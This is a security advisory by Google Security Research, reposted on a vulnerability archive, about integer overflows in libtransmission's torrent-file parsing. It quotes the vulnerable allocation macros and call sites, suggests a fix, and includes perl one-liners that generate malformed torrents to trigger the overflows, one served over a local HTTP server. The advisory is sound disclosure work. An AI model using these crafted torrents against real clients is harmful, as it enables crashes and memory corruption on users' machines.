exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Transmission Torrent Parsing Integer Overflows

Transmission Torrent Parsing Integer Overflows
Posted Feb 26, 2018
Authored by Tavis Ormandy, Google Security Research

Torrent file parsing in libtransmission suffers from overflow vulnerabilities.

tags | exploit, overflow, vulnerability
SHA-256 | 54ad18d8336156df7524e96c3d9da8e72a4e6da0788daef159edd65d3ca2b6b4

Transmission Torrent Parsing Integer Overflows

Change Mirror Download
transmission: various integer overflow parsing torrent files 




I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow.

#define tr_new(struct_type, n_structs) \
((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))

#define tr_new0(struct_type, n_structs) \
((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))

#define tr_renew(struct_type, mem, n_structs) \
((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))


Here is one example when parsing the files dictionary:

static const char*
parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)
{
int64_t len;
...
inf->isFolder = true;
inf->fileCount = tr_variantListSize (files);
inf->files = tr_new0 (tr_file, inf->fileCount); <--

Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e".

Here are a few more:

static const char*
getannounce (tr_info * inf, tr_variant * meta)
{
...
for (i=0; i<numTiers; i++)
n += tr_variantListSize (tr_variantListChild (tiers, i));

trackers = tr_new0 (tr_tracker_info, n); <--

static void
geturllist (tr_info * inf, tr_variant * meta)
{
...
const int n = tr_variantListSize (urls);

inf->webseedCount = 0;
inf->webseeds = tr_new0 (char*, n); <--

static const char*
tr_metainfoParseImpl (const tr_session * session,
tr_info * inf,
bool * hasInfoDict,
size_t * infoDictLength,
const tr_variant * meta_in)
...
inf->pieceCount = len / SHA_DIGEST_LENGTH;
inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <--


Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:

#define tr_new(struct_type, n_structs) \
((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))

They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.

Another bug, containerReserve() doesn't check for integer overflow or allocation failure:

static void
containerReserve (tr_variant * v, size_t count)
{
...
v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <---
v->val.l.alloc = n;
...
}

Another bug is that tr_sha1 uses signed integers for length, rather than size_t:

bool
tr_sha1 (uint8_t * hash,
const void * data1,
int data1_length,
...)

This can cause memory corruption with very large torrents.

Here are some simple testcase for 32bit systems:

$ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent
$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent

This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding.

Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:

$ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent
$ python -m SimpleHTTPServer 8080 &
$ transmission-cli <a href="http://localhost:8080/test.torrent" title="" class="" rel="nofollow">http://localhost:8080/test.torrent</a>

The transfer can be compressed to make it a manageable size, it's about 2G otherwise.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: taviso

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close